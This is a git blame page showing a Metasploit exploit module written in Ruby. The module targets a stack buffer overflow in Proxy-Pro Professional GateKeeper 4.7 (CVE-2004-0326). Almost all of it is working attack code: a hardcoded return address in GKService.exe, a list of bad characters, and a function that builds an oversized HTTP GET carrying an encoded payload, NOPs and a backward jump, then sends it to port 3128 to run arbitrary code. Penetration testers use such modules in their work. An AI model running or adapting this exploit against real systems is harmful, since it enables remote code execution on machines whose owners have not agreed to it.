Files
metasploit-gs/modules/exploits/windows/proxy/proxypro_http_get.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

75 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2006-09-13 06:20:05 +00:00
include Msf::Exploit::Remote::Tcp
2006-09-13 06:20:05 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Proxy-Pro Professional GateKeeper 4.7 GET Request Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Proxy-Pro Professional
2025-06-20 13:20:44 +01:00
GateKeeper 4.7. By sending a long HTTP GET to the default port
of 3128, a remote attacker could overflow a buffer and execute
arbitrary code.
},
'Author' => 'MC',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2004-0326'],
['OSVDB', '4027'],
2006-09-13 06:20:05 +00:00
['BID', '9716'],
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2006-09-13 06:20:05 +00:00
'EXITFUNC' => 'process',
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'Space' => 500,
2006-09-13 06:20:05 +00:00
'BadChars' => "\x00+&=%\x0a\x0d\x20",
'StackAdjustment' => -3500,
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
2006-09-13 06:20:05 +00:00
[ 'Proxy-Pro GateKeeper 4.7', { 'Ret' => 0x03b1e121 } ], # GKService.exe
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'DisclosureDate' => '2004-02-23',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2006-09-13 06:20:05 +00:00
register_options(
[
Opt::RPORT(3128)
2025-06-20 13:20:44 +01:00
]
)
2006-09-13 06:20:05 +00:00
end
def exploit
connect
print_status("Trying target #{target.name}...")
2025-06-20 13:20:44 +01:00
sploit = "GET /" + rand_text_english(3603, payload_badchars)
sploit += payload.encoded + [target.ret].pack('V') + make_nops(10)
2025-06-20 13:20:44 +01:00
sploit += "\xe9" + [-497].pack('V') + " HTTP/1.0" + "\r\n\r\n"
2006-09-13 06:20:05 +00:00
sock.put(sploit)
sock.get_once(-1, 3)
2006-09-13 06:20:05 +00:00
handler
disconnect
end
2009-07-16 16:02:24 +00:00
end